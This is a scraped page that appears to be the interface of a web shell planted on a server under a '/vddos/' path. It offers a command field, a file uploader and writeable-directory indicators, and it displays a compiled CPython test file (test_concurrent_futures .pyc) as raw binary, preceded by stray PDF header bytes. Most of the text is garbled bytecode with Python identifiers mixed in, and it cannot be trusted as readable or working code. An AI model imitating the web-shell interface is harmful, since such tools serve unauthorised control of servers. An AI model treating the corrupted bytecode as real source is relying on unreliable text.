%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_concurrent_futures.cpython-39.pyc
a

�_gC��@s
ddlmZe�d�e��ddlmZddlmZddlZddl	Z	ddl
Z
ddlmZddl
Z
ddlZddlZddlZddlZddlZddlZddlmZddlmZdd	lmZmZmZmZmZmZmZdd
l m!Z!ddl"m#Z#ddl$Z"ddl%Z"eddfdd
�Z&e&ed�Z'e&ed�Z(e&ed�Z)e&ed�Z*e&ee+�d�Z,e&edd�Z-da.dd�Z/dd�Z0dd�Z1dd�Z2dd�Z3dd�Z4dkdd �Z5Gd!d"�d"e6�Z7Gd#d$�d$�Z8d%d&�Z9Gd'd(�d(ej:�Z;Gd)d*�d*�Z<Gd+d,�d,e<�Z=Gd-d.�d.e<�Z>Gd/d0�d0e<�Z?Gd1d2�d2e<�Z@e;fe=e>e@e?ffd3d4�ZAGd5d6�d6e<�ZBGd7d8�d8e<�ZCeAeB�eAeC�Gd9d:�d:�ZDGd;d<�d<e=eDe;�ZEGd=d>�d>eD�ZFeAeFe>e@e?fd?�Gd@dA�dA�ZGGdBdC�dCe=eGe;�ZHeAeGe>e@e?fd?�GdDdE�dE�ZIeAeI�GdFdG�dG�ZJGdHdI�dIe=eJe;�ZKGdJdK�dKeJ�ZLeAeLe>e@e?fd?�dldLdM�ZMdNdO�ZNdPdQ�ZOdRdS�ZPdTdU�ZQGdVdW�dWe6�ZRGdXdY�dYe6�ZSGdZd[�d[e6�ZTGd\d]�d]e6�ZUGd^d_�d_e6�ZVGd`da�dae6�ZWGdbdc�dc�ZXeAeXe>e@e?fd?�Gddde�dee;�ZYdaZdfdg�Z[dhdi�Z\e]djk�re�^�dS)m�)�support�_multiprocessing)�hashlib_helper)�assert_python_okN)�QueueHandler��
PicklingError)�futures)�PENDING�RUNNING�	CANCELLED�CANCELLED_AND_NOTIFIED�FINISHED�Future�BrokenExecutor)�BrokenProcessPool)�get_contextcCst�}||_||_||_|S�N)r�_state�
_exception�_result)�state�	exception�result�f�r�;/vddos/python/lib/python3.9/test/test_concurrent_futures.py�
create_future#s
r�r�rr�*�rr�
uninitializedcCs||Srr)�x�yrrr�mul5sr%cOs||fSrr)�args�kwargsrrr�capture8sr(cCst�|�td��dS)Nzthis is an exception)�time�sleep�	Exception)�trrr�sleep_and_raise;s
r-cCs t�|�t|�tj��dSr)r)r*�print�sys�stdout�flush)r,�msgrrr�sleep_and_print?s
r3cCs|adSr��INITIALIZER_STATUS)r#rrr�initDsr6cCstSrr4rrrr�get_init_statusHsr7cCsF|dur0t�d�}|�t|��|�d�d|_t�d�td��dS)N�concurrent.futures�CRITICALF皙�����?zerror in initializer)	�logging�	getLogger�
addHandlerr�setLevel�	propagater)r*�
ValueError)�	log_queue�loggerrrr�	init_failKs


rCc@seZdZdd�ZdS)�MyObjectcCsdSrr��selfrrr�	my_methodVszMyObject.my_methodN)�__name__�
__module__�__qualname__rGrrrrrDUsrDc@seZdZdd�Zdd�ZdS)�
EventfulGCObjcCs|��|_dSr)�Event�event)rF�mgrrrr�__init__[szEventfulGCObj.__init__cCs|j��dSr)rM�setrErrr�__del__^szEventfulGCObj.__del__N)rHrIrJrOrQrrrrrKZsrKcCst�Sr)rD)�_rrr�make_dummy_objectbsrSc@seZdZdd�Zdd�ZdS)�BaseTestCasecCst��|_dSr)r�threading_setup�_thread_keyrErrr�setUpgszBaseTestCase.setUpcCst��tj|j�dSr)r�
reap_children�threading_cleanuprVrErrr�tearDownjszBaseTestCase.tearDownN)rHrIrJrWrZrrrrrTfsrTcs@eZdZdZiZ�fdd�Z�fdd�Zdd�Zdd	�Z�Z	S)
�
ExecutorMixin�csft���t��|_t|d�r@|jf|j|��d�|j	��|_
n|jfd|ji|j	��|_
|��dS)N�ctx��max_workers�
mp_contextr_)�superrWr)�	monotonic�t1�hasattr�
executor_type�worker_countr�executor_kwargs�executor�_prime_executorrE��	__class__rrrWss


��
��zExecutorMixin.setUpcsT|jjdd�d|_t��|j}tjr8td|dd�|�|dd�t	��
�dS)NT��waitz%.2fs� )�endi,z+synchronization issue: test lasted too long)rh�shutdownr)rbrcr�verboser.Z
assertLessrarZ)rFZdtrjrrrZ�szExecutorMixin.tearDowncCs
t|j�Sr)rr]rErrrr�szExecutorMixin.get_contextcs.�fdd�t�j�D�}|D]}|��qdS)Ncsg|]}�j�tjd��qS�r:�rh�submitr)r*��.0rRrErr�
<listcomp>�s�z1ExecutorMixin._prime_executor.<locals>.<listcomp>)�rangerfr�rFr	rrrErri�s

�zExecutorMixin._prime_executor)
rHrIrJrfrgrWrZrri�
__classcell__rrrjrr[osr[c@seZdZejZdS)�ThreadPoolMixinN)rHrIrJr	�ThreadPoolExecutorrerrrrr{�sr{cs&eZdZejZdZ�fdd�Z�ZS)�ProcessPoolForkMixin�forkcstjdkr|�d�t���S�N�win32zrequire unix system�r/�platformZskipTestrarrErjrrr�s

z ProcessPoolForkMixin.get_context�	rHrIrJr	�ProcessPoolExecutorrer]rrzrrrjrr}�sr}c@seZdZejZdZdS)�ProcessPoolSpawnMixin�spawnN)rHrIrJr	r�rer]rrrrr��sr�cs&eZdZejZdZ�fdd�Z�ZS)�ProcessPoolForkserverMixin�
forkservercstjdkr|�d�t���Srr�rErjrrr�s

z&ProcessPoolForkserverMixin.get_contextr�rrrjrr��sr�cCsPdd�}|D]>}d||j�||j�f}t||f|f|i�}|t�|<qdS)NcSs4|�d�r|dd�S|�d�r,|dd�S|SdS)N)ZMixinZTests���ZTest���)�endswith)�namerrr�strip_mixin�s


z*create_executor_tests.<locals>.strip_mixinz%s%sTest)rH�type�globals)Zmixin�bases�executor_mixinsr�Zexer��clsrrr�create_executor_tests�s�r�cs(eZdZdZ�fdd�Zdd�Z�ZS)�InitializerMixin�cs dattdd�|_t���dS)Nr")�initialized��initializer�initargs)r5�dictr6rgrarWrErjrrrW�s
�zInitializerMixin.setUpcs6�fdd�t�j�D�}|D]}��|��d�qdS)Ncsg|]}�j�t��qSr)rhrtr7rurErrrw�s�z5InitializerMixin.test_initializer.<locals>.<listcomp>r�)rxrf�assertEqualrryrrEr�test_initializer�s

�z!InitializerMixin.test_initializer)rHrIrJrfrWr�rzrrrjrr��sr�cs>eZdZdZ�fdd�Zdd�Zdd�Zejdd	��Z	�Z
S)
�FailingInitializerMixinr�csZt|d�r4|��|_|j��|_tt|jfd�|_nd|_d|_ttd�|_t��	�dS)Nr]r�)r�)
rdrr`�QueuerAr�rCrgrarWrErjrrrW�s

�
zFailingInitializerMixin.setUpc	Cs�|�d���z|j�t�}Wnty.Yn40|�t��|��Wd�n1sX0Yt��}|jj	s�t��|dkr�|�
d�t�d�qj|�t��|j�t�Wd�n1s�0YWd�n1s�0YdS)Nz ValueError: error in initializerr\zexecutor not broken after 5 s.g{�G�z�?)�_assert_loggedrhrtr7r�assertRaisesrr)rb�_broken�failr*)rF�futurercrrrr��s&
z(FailingInitializerMixin.test_initializercCsdSrrrErrrrisz'FailingInitializerMixin._prime_executorc#s�|jdurFdVg}z|�|j�����qWq~tjyBYq~0n8|�dd��}dVWd�n1sn0Y|j}|�t	�fdd�|D��|�dS)Nr8r9c3s|]}�|vVqdSrr)rv�line�r2rr�	<genexpr>�z9FailingInitializerMixin._assert_logged.<locals>.<genexpr>)
rA�append�
get_nowait�
getMessage�queue�EmptyZ
assertLogs�output�
assertTrue�any)rFr2r��cmrr�rr�s
$�z&FailingInitializerMixin._assert_logged)rHrIrJrfrWr�ri�
contextlib�contextmanagerr�rzrrrjrr��sr�c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�ExecutorShutdownTestcCs$|j��|�t|jjtdd�dS)Nr�r\)rhrpr��RuntimeErrorrt�powrErrr�test_run_after_shutdowns

�z,ExecutorShutdownTest.test_run_after_shutdowncCsDtddj|jjt|dd�d��\}}}|�|�|�|��d�dS)N�-caKif 1:
            from concurrent.futures import {executor_type}
            from time import sleep
            from test.test_concurrent_futures import sleep_and_print
            if __name__ == "__main__":
                context = '{context}'
                if context == "":
                    t = {executor_type}(5)
                else:
                    from multiprocessing import get_context
                    context = get_context(context)
                    t = {executor_type}(5, mp_context=context)
                t.submit(sleep_and_print, 1.0, "apple")
            r]��re�context�apple)r�formatrerH�getattr�assertFalser��strip�rF�rc�out�errrrr�test_interpreter_shutdown"s

�
z.ExecutorShutdownTest.test_interpreter_shutdowncCsJtddj|jjt|dd�d��\}}}|�d|���|�|��d�dS)Nr�a�if 1:
            import atexit
            @atexit.register
            def run_last():
                try:
                    t.submit(id, None)
                except RuntimeError:
                    print("runtime-error")
                    raise
            from concurrent.futures import {executor_type}
            if __name__ == "__main__":
                context = '{context}'
                if not context:
                    t = {executor_type}(5)
                else:
                    from multiprocessing import get_context
                    context = get_context(context)
                    t = {executor_type}(5, mp_context=context)
                    t.submit(id, 42).result()
            r]r�r�z)RuntimeError: cannot schedule new futuress
runtime-error)	rr�rerHr��assertIn�decoder�r�r�rrr�&test_submit_after_interpreter_shutdown8s
�z;ExecutorShutdownTest.test_submit_after_interpreter_shutdowncs6�fdd�td�D�}�j��|D]}|��q$dS)Ncsg|]}�j�tjd��qSrrrsrurErrrwUr�z=ExecutorShutdownTest.test_hang_issue12364.<locals>.<listcomp>�2)rxrhrpr)rF�fsrrrEr�test_hang_issue12364Ts
z)ExecutorShutdownTest.test_hang_issue12364cs�|jdd���fdd�td�D�}�jdd�dd�|D�}|jt|�d	kd
t|���d�dd�|D�}|D],}|j|��d
|j��d�|�|���qn|jt|�dkdt|���d�dS)N��r_csg|]}��tjd��qSrr)rtr)r*ru�rhrrrw\r�z<ExecutorShutdownTest.test_cancel_futures.<locals>.<listcomp>r�T)�cancel_futurescSsg|]}|��r|�qSr��	cancelled�rv�futrrrrwar��#zlen(cancelled)=r�cSsg|]}|��s|�qSrr�r�rrrrwgr�zfut._state=rzlen(others)=)	rerxrpr��len�doner�assertIsNoner)rFr�r�Zothersr�rr�r�test_cancel_futuresZs z(ExecutorShutdownTest.test_cancel_futurescCsP|jtjkrt�d��tddj|jjd��\}}}|�|�|�	|�
�d�dS)zyshutdown(wait=False) doesn't hang at exit with running futures.

        See https://bugs.python.org/issue39205.
        z/Hangs due to https://bugs.python.org/issue39205r�aNif True:
            from concurrent.futures import {executor_type}
            from test.test_concurrent_futures import sleep_and_print
            if __name__ == "__main__":
                t = {executor_type}(max_workers=3)
                t.submit(sleep_and_print, 1.0, "apple")
                t.shutdown(wait=False)
            �rer�N)rer	r��unittestZSkipTestrr�rHr�r�r�r�rrr�test_hang_issue39205qs��
z)ExecutorShutdownTest.test_hang_issue39205N)	rHrIrJr�r�r�r�r�r�rrrrr�sr�c@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�ThreadPoolShutdownTestcCsdSrrrErrrri�sz&ThreadPoolShutdownTest._prime_executorcCs|dd�}t�d�}td�D]}|j�||�q|�t|jj�d�td�D]}|��qJ|j�	�|jjD]}|�
�qjdS)NcSs|��dSr��acquire��lockrrr�acquire_lock�szCThreadPoolShutdownTest.test_threads_terminate.<locals>.acquire_lockrr�)�	threading�	Semaphorerxrhrtr�r��_threads�releaserp�join)rFr��sem�ir,rrr�test_threads_terminate�s


z-ThreadPoolShutdownTest.test_threads_terminatec
Csjtjdd��6}|}|�t|�ttdd���gd��Wd�n1sH0Y|jD]}|��qXdS�Nr\r�r�)
r\�r�r��rr�r�r�r�)	r	r|r��list�map�absrxr�r�)rF�erhr,rrr�test_context_manager_shutdown�s�"
z4ThreadPoolShutdownTest.test_context_manager_shutdowncCs^tjdd�}|�ttdd��}|j}~|D]}|��q*tdd�t|tdd��D��sZJ�dS)Nr\r�r�cSsg|]\}}|t|�k�qSr�r��rv�r�vrrrrw�r�z<ThreadPoolShutdownTest.test_del_shutdown.<locals>.<listcomp>)	r	r|r�r�rxr�r��all�zip�rFrh�res�threadsr,rrr�test_del_shutdown�s
z(ThreadPoolShutdownTest.test_del_shutdowncCshtjdd�}|�ttdd��}|j}|jdd�|D]}|��q4tdd�t	|tdd��D��sdJ�dS)Nr\r�r�FrlcSsg|]\}}|t|�k�qSrr�r�rrrrw�r�z@ThreadPoolShutdownTest.test_shutdown_no_wait.<locals>.<listcomp>)
r	r|r�r�rxr�rpr�r�r�r�rrr�test_shutdown_no_wait�s
z,ThreadPoolShutdownTest.test_shutdown_no_waitcCsLtjddd�}|�ttdd��|j}~|D]}|�|jd�|��q,dS)Nr\ZSpecialPool)r_Zthread_name_prefixr�z^SpecialPool_[0-4]$�	r	r|r�r�rxr��assertRegexr�r��rFrhr�r,rrr�test_thread_names_assigned�s�z1ThreadPoolShutdownTest.test_thread_names_assignedcCsJtjdd�}|�ttdd��|j}~|D]}|�|jd�|��q*dS)Nr\r�r�zThreadPoolExecutor-\d+_[0-4]$r�r�rrr�test_thread_names_default�sz0ThreadPoolShutdownTest.test_thread_names_defaultcCs:tddj|jjd��\}}}|�|�|�|��d�dS)Nr�a[if True:
            from concurrent.futures import ThreadPoolExecutor
            from test.test_concurrent_futures import sleep_and_print
            if __name__ == "__main__":
                t = ThreadPoolExecutor()
                t.submit(sleep_and_print, .1, "apple")
                t.shutdown(wait=False, cancel_futures=True)
            r�r�)rr�rerHr�r�r�r�rrr�test_cancel_futures_wait_false�s
�

z5ThreadPoolShutdownTest.test_cancel_futures_wait_falseN)rHrIrJrir�r�r�r�r�rrrrrrr��s	
r�c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�ProcessPoolShutdownTestcCsdSrrrErrrri�sz'ProcessPoolShutdownTest._prime_executorcCs�dd�}t�}|�d�}td�D]}|j�||�q |�t|jj�d�td�D]}|��qP|jj}|j�	�|�
�D]}|��qxdS)NcSs|��dSrr�r�rrrr��szFProcessPoolShutdownTest.test_processes_terminate.<locals>.acquire_lockrr�)rr�rxrhrtr�r��
_processesr�rp�valuesr�)rFr�r`r�rR�	processes�prrr�test_processes_terminate�s


z0ProcessPoolShutdownTest.test_processes_terminatec
Csntjdd��8}|j}|�t|�ttdd���gd��Wd�n1sJ0Y|��D]}|�	�q\dSr�)
r	r�rr�r�r�r�rxrr�)rFr�rrrrrr��s�"z5ProcessPoolShutdownTest.test_context_manager_shutdowncCs�tjdd�}|�ttdd��}|j}|j}|j}|j}~|��|�	�D]}|��qH|�
�tdd�t|tdd��D��s�J�dS)Nr\r�r�cSsg|]\}}|t|�k�qSrr�r�rrrrwr�z=ProcessPoolShutdownTest.test_del_shutdown.<locals>.<listcomp>)
r	r�r�r�rx�_executor_manager_threadr�_call_queuer�r�join_threadr�r�)rFrhr��executor_manager_threadr�
call_queuerrrrr�s
z)ProcessPoolShutdownTest.test_del_shutdowncCs�tjdd�}|�ttdd��}|j}|j}|j}|jdd�|�	�|�
�D]}|�	�qL|��tdd�t
|tdd��D��s�J�dS)Nr\r�r�FrlcSsg|]\}}|t|�k�qSrr�r�rrrrw*r�zAProcessPoolShutdownTest.test_shutdown_no_wait.<locals>.<listcomp>)r	r�r�r�rxrr	rrpr�rr
r�r�)rFrhr�rrrrrrrr�s
z-ProcessPoolShutdownTest.test_shutdown_no_waitN)rHrIrJrirr�r�r�rrrrr�s
	r)r�c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�	WaitTestscCsd|j�tdd�}|j�tjd�}tjt||gtjd�\}}|�	t
|g�|�|�	t
t|g�|�dS)N�r���?��return_when)rhrtr%r)r*r	rm�CANCELLED_FUTURE�FIRST_COMPLETEDr�rP)rF�future1�future2r��not_donerrr�test_first_completed5s�
zWaitTests.test_first_completedcCsT|j�tjd�}tjtt|gtjd�\}}|�	t
ttg�|�|�	t
|g�|�dS)Nrr)rhrtr)r*r	rm�CANCELLED_AND_NOTIFIED_FUTURE�SUCCESSFUL_FUTURErr�rP�rFr�finished�pendingrrr�+test_first_completed_some_already_completed@s�

�z5WaitTests.test_first_completed_some_already_completedcCsr|j�tdd�}|j�td�}|j�tjd�}tj|||gtjd�\}}|�	t
||g�|�|�	t
|g�|�dS)Nr�rrr�r)rhrtr%r-r)r*r	rm�FIRST_EXCEPTIONr�rP)rFrrZfuture3rrrrr�test_first_exceptionLs�
zWaitTests.test_first_exceptioncCsl|j�tdd�}|j�tjd�}tjttt	||gtj
d�\}}|�ttt	|g�|�|�tt|g�|�dS)Nrrrr)
rhrt�divmodr)r*r	rmrrrrr�rP�rFrrrrrrr�*test_first_exception_some_already_completeXs"��
��z4WaitTests.test_first_exception_some_already_completecCsP|j�tjd�}tjt|gtjd�\}}|�t	tg�|�|�t	|g�|�dS)Nr�r)
rhrtr)r*r	rm�EXCEPTION_FUTURErr�rPrrrr�'test_first_exception_one_already_failedhs�
z1WaitTests.test_first_exception_one_already_failedcCsj|j�tdd�}|j�tdd�}tjttt||gtj	d�\}}|�
tttt||g�|�|�
t�|�dS)Nr�rrr)rhrtr r%r	rmrrr#�
ALL_COMPLETEDr�rPr!rrr�test_all_completedrs(��
��zWaitTests.test_all_completedcCsn|j�tdd�}|j�tjd�}tjttt	||gdtj
d�\}}|�tttt	|g�|�|�t|g�|�dS)N��r\)�timeoutr)
rhrtr%r)r*r	rmrr#rr%r�rPr!rrr�test_timeout�s&��
��zWaitTests.test_timeoutN)
rHrIrJrrrr"r$r&r*rrrrr
3s
r
c@seZdZdd�ZdS)�ThreadPoolWaitTestsc	svt����fdd��t��}t�d�z>��fdd�td�D�}���tj|tj	d�Wt�|�nt�|�0dS)Ncs���dSrrlr)rMrr�future_func�sz@ThreadPoolWaitTests.test_pending_calls_race.<locals>.future_funcg���ư>csh|]}�j����qSr)rhrt)rvr�)r,rFrr�	<setcomp>�r�z>ThreadPoolWaitTests.test_pending_calls_race.<locals>.<setcomp>�dr)
r�rLr/�getswitchinterval�setswitchintervalrxrPr	rmr%)rFZoldswitchintervalr�r)rMr,rFr�test_pending_calls_race�s
z+ThreadPoolWaitTests.test_pending_calls_raceN)rHrIrJr1rrrrr+�sr+c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�AsCompletedTestscCsV|j�tdd�}|j�tdd�}tt�ttt||g��}|�	tttt||g�|�dS)Nr�rr(r')
rhrtr%rPr	�as_completedrr#rr�)rFrr�	completedrrr�test_no_timeout�s$�����z AsCompletedTests.test_no_timeoutcCsp|j�tjd�}t�}z*tjttt	|gdd�D]}|�
|�q.WntjyTYn0|�tttt	g�|�dS)Nr�r�r))
rhrtr)r*rPr	r3rr#r�add�TimeoutErrorr�)rFrZcompleted_futuresr�rrr�test_zero_timeout�s(��
��z"AsCompletedTests.test_zero_timeoutcCs@|j�tjd�}dd�t�t�|d��D�}|�t	|�d�dS)Nr�cSsg|]}|�qSrr)rvrrrrrw�sz;AsCompletedTests.test_duplicate_futures.<locals>.<listcomp>r�r�)
rhrtr)r*r	r3�	itertools�repeatr�r�)rFrr4rrr�test_duplicate_futures�s
�z'AsCompletedTests.test_duplicate_futurescCs�dd�td�D�}|�ttd��|�ttdd��|�tj��Ftj|dd�D]&}|�	|�t
�|�}~|�|��qPWd�n1s�0Y|d�
d	�t�|�D]8}|�	|�t
�|�}~|�|��|r�|d�
d	�q�dS)
NcSsg|]
}t��qSr)rrurrrrw�r�zGAsCompletedTests.test_free_reference_yielded_future.<locals>.<listcomp>�rr r!rr6�test)rxr�rr
rr�r	r8r3�remove�weakref�refr��
set_result)rF�futures_listr��wrrrr�"test_free_reference_yielded_future�s"

,

z3AsCompletedTests.test_free_reference_yielded_futurecCs`ttttg}|�tj��"}ttj|dd��Wd�n1s@0Y|�	t
|j�d�dS)Nrr6z2 (of 4) futures unfinished)r�PENDING_FUTURE�RUNNING_FUTURErr�r	r8r�r3r��strr)rFrCr�rrr�"test_correct_timeout_exception_msg�s�0z3AsCompletedTests.test_correct_timeout_exception_msgN)rHrIrJr5r9r<rErIrrrrr2�s

r2c@sZeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Ze	j
d
d��Zdd�Zdd�Z
dS)�ExecutorTestcCs$|j�tdd�}|�d|���dS)Nr�r=�)rhrtr�r�r�rFr�rrr�test_submitszExecutorTest.test_submitcCs�|jjtddd�}|�d|���|jjtdddd�}|�|��dddd�f�|�t�� |jjtdd	�Wd�n1s�0Y|�t��|jjdd
�Wd�n1s�0YdS)Nr�r=)r$�r�r�)rF�fn)r�)rO�arg)rP)rhrtr%r�rr(r��	TypeErrorrLrrr�test_submit_keyword
s.z ExecutorTest.test_submit_keywordc	Csx|�t|j�ttd�td���ttttd�td����|�t|jjttd�td�dd��ttttd�td����dS)N�
r���	chunksize)r�r�rhr�r�rxrErrr�test_maps��zExecutorTest.test_mapcCsJ|j�tgd�gd��}|�|��d�|�|��d�|�t|j�dS)N)r�r�r�r�)r�r�rr\)rr�)rhr�r r��__next__r��ZeroDivisionError)rFr�rrr�test_map_exceptionszExecutorTest.test_map_exceptioncCsdg}z,|jjtjgd�dd�D]}|�|�qWntjyDYn0|�d�|�ddg|�dS)N)rrr'r\r6zexpected TimeoutError)	rhr�r)r*r�r	r8r�r�)rF�resultsr�rrr�test_map_timeout#s
�

zExecutorTest.test_map_timeoutcCs(|j�tdg|jd�|j��dS)Nr�r�)rhr�rHrfrprErrr�test_shutdown_race_issue124561sz*ExecutorTest.test_shutdown_race_issue12456csPt�}t���t�|�fdd��}|j�|j�~�jt	j
d�}|�|d�dS)Ncs���Sr)rP)�obj�Zmy_object_collectedrr�<lambda>?r�z7ExecutorTest.test_no_stale_references.<locals>.<lambda>r6z-Stale reference not collected within timeout.)rDr�rLr@rArhrtrGrmr�
SHORT_TIMEOUTr�)rFZ	my_objectZmy_object_callbackZ	collectedrr^r�test_no_stale_references8s��z%ExecutorTest.test_no_stale_referencesc	CsFdD]<}|�td��|j|d�Wd�q1s60YqdS)N)r���z"max_workers must be greater than 0r�)�assertRaisesRegexr@re)rFZnumberrrr�test_max_workers_negativeHs
�z&ExecutorTest.test_max_workers_negativecCs4|j�ttd��D]}t�|�}~|�|��qdS)NrS)rhr�rSrxr@rAr�)rFr]rDrrr�test_free_referenceOs
z ExecutorTest.test_free_referenceN)rHrIrJrMrRrVrYr[r\rZcpython_onlyrardrerrrrrJs
	
rJc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�ThreadPoolExecutorTestcsDg��fdd�}|j�|td��|jjdd�|��td��dS)zTests verifying issue 11777.cs��|�dSr)r�)�n�rrr�record_finished\szRThreadPoolExecutorTest.test_map_submits_without_iteration.<locals>.record_finishedrSTrlN)rhr�rxrpZassertCountEqual)rFrirrhr�"test_map_submits_without_iterationYs
z9ThreadPoolExecutorTest.test_map_submits_without_iterationcCs0|��}tdt��pdd�}|�|j|�dS)N� r�r�)re�min�os�	cpu_countr��_max_workers)rFrhZexpectedrrr�test_default_workerscsz+ThreadPoolExecutorTest.test_default_workerscCs||�d�}dd�}t�d�}td|j�D]}|�||�q*|�t|j�|j�td|j�D]}|�	�q^|j
dd�dS)Nr�cSs|��dSrr�r�rrrr�jsz<ThreadPoolExecutorTest.test_saturation.<locals>.acquire_lockr�Trl)rer�r�rxrortr�r�r�r�rp)rFrhr�r�r�rrr�test_saturationhs


z&ThreadPoolExecutorTest.test_saturationcCs`|��}|�tdd���|�tdd���|�tdd���|�t|j�d�|jdd	�dS)
Nrr�r'r(r��r�Trl)rertr%rr�r�r�rp�rFrhrrr�test_idle_thread_reuseusz-ThreadPoolExecutorTest.test_idle_thread_reuseN)rHrIrJrjrprrrurrrrrfXs

rfc@steZdZe�ejdkd�dd��Zdd�Zdd�Z	e
d	d
��Zdd�Ze
�d
�dd��Zdd�Zdd�Zdd�ZdS)�ProcessPoolExecutorTestr�zWindows-only process limitcCs<|�td��tjdd�Wd�n1s.0YdS)Nzmax_workers must be <= 61�>r�)rcr@r	r�rErrr�test_max_workers_too_large�s�z2ProcessPoolExecutorTest.test_max_workers_too_largecCs`|j�tjd�g}tt|jj����}|��|D]}|�	t
|j�q2|�	t
|jjtdd�dS)Nr�r�r=)
rhrtr)r*�next�iterrr�	terminater�rrr�)rFr	rr�rrr�test_killed_child�sz)ProcessPoolExecutorTest.test_killed_childc	s��fdd�}ttttd�td���}��t�jjttd�td�dd��|���t�jjttd�td�dd��|���t�jjttd�td�dd��|���t|�dS)Ncs$t�jjttd�td�dd��dS)N�(rbrT)r�rhr�r�rxrrErr�bad_map�sz;ProcessPoolExecutorTest.test_map_chunksize.<locals>.bad_mapr}r'rTr�)r�r�r�rxr�rhr�r@)rFr~rArrEr�test_map_chunksize�s���z*ProcessPoolExecutorTest.test_map_chunksizecCstd��dS)N�{)r��r�rrr�_test_traceback�sz'ProcessPoolExecutorTest._test_tracebackc	Cs�|j�|j�}|�t��}|��Wd�n1s60Y|j}|�t|�t	�|�
|jd�|j}|�t|�t
jj�|�d|j�t���:}z|�Wn t	y�tjt���Yn0Wd�n1s�0Y|�d|���dS)N)r�z&raise RuntimeError(123) # some comment)rhrtr�r�r+rrZassertIsr�r�r�r&�	__cause__r	�process�_RemoteTracebackr��tbr�captured_stderrr/�
excepthook�exc_info�getvalue)rFr�r��exc�cause�f1rrr�test_traceback�s"&
2�z&ProcessPoolExecutorTest.test_traceback�md5cCs`t|j���}t|�}|j�t|�}|��|�|j	j
dd��d}t��|�
�|��dS)Nr�r6)rr]�ManagerrKrhrt�idrr�rMrmr�
gc_collectrpr�)rFrNr]r�rrr�test_ressources_gced_in_workers�sz7ProcessPoolExecutorTest.test_ressources_gced_in_workerscCs�|�d�}t�}|�d�}d|j}zPt|�D]}|�|j�q.|�t|j	�|j�t|�D]}|�
�q\W|��n
|��0dS)Nr�rrq)rerr�rorxrtr�r�r�rr�rp)rFrhr`r�Z	job_countrRrrrrr�s


z'ProcessPoolExecutorTest.test_saturationcCs^|�d�}|�tdd���|�tdd���|�tdd���|�t|j�d�|��dS)	Nr�rr�r'r(r�rsr�)rertr%rr�r�rrprtrrr�test_idle_process_reuse_one�s
z3ProcessPoolExecutorTest.test_idle_process_reuse_onecCsh|�d�}|�tdd���|�tdd�|�tdd���|�tdd�|�t|j�d	�|��dS)
Nr��r(�!����r�)rertr%rZassertLessEqualr�rrprtrrr� test_idle_process_reuse_multiple�s
z8ProcessPoolExecutorTest.test_idle_process_reuse_multipleN)rHrIrJr�Z
skipUnlessr/r�rxr|r�classmethodr�r�rZrequires_hashdigestr�rrr�r�rrrrrv~s


rvcCs*|rt�|�ddl}|��|��dS)zInduces a segfault.rN)r)r*�faulthandler�disableZ_sigsegv)�delayr�rrr�_crash�s

r�cCst�d�dS)z#Induces a sys exit with exitcode 1.r�N)r/�exitrrrr�_exit�sr�cCs
|��dS)z-Function that raises an Exception in process.Nr)�Errrrr�_raise_errorsr�cCsddl}|��t_|��dS)z@Function that raises an Exception in process and ignores stderr.rN)�io�StringIOr/�stderr)r�r�rrr�_raise_error_ignore_stderrs
r�cCs|�S)z(Function that returns a instance of cls.rr�rrr�_return_instance
sr�c@seZdZdZdd�ZdS)�
CrashAtPicklez5Bad object that triggers a segfault at pickling time.cCs
t�dSr�r�rErrr�
__reduce__szCrashAtPickle.__reduce__N�rHrIrJ�__doc__r�rrrrr�sr�c@seZdZdZdd�ZdS)�CrashAtUnpicklez7Bad object that triggers a segfault at unpickling time.cCstdfS�Nrr�rErrrr�szCrashAtUnpickle.__reduce__Nr�rrrrr�sr�c@seZdZdZdd�ZdS)�ExitAtPicklez9Bad object that triggers a process exit at pickling time.cCs
t�dSr�r�rErrrr� szExitAtPickle.__reduce__Nr�rrrrr�sr�c@seZdZdZdd�ZdS)�ExitAtUnpicklez;Bad object that triggers a process exit at unpickling time.cCstdfSr�r�rErrrr�&szExitAtUnpickle.__reduce__Nr�rrrrr�$sr�c@seZdZdZdd�ZdS)�
ErrorAtPicklez3Bad object that triggers an error at pickling time.cCsddlm}|d��dS)NrrzError in pickle)�pickler)rFrrrrr�,szErrorAtPickle.__reduce__Nr�rrrrr�*sr�c@seZdZdZdd�ZdS)�ErrorAtUnpicklez5Bad object that triggers an error at unpickling time.cCsddlm}t|ffS)Nr)�UnpicklingError)r�r�r�)rFr�rrrr�3szErrorAtUnpickle.__reduce__Nr�rrrrr�1sr�c@s�eZdZejZdd�Zdd�dd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#S)$�ExecutorDeadlockTestcCs�ddl}ddlm}|dd��.}|j|d�|�d�|��}Wd�n1sR0Y|j��D]}|��qf|j	dd�t
d|��tjd�|�
d	|���dS)
Nr)�
TemporaryFilezw+)�mode)�fileTrlz
Traceback:
 zExecutor deadlock:

)r��tempfiler�Zdump_traceback�seek�readrrr{rpr.r/�
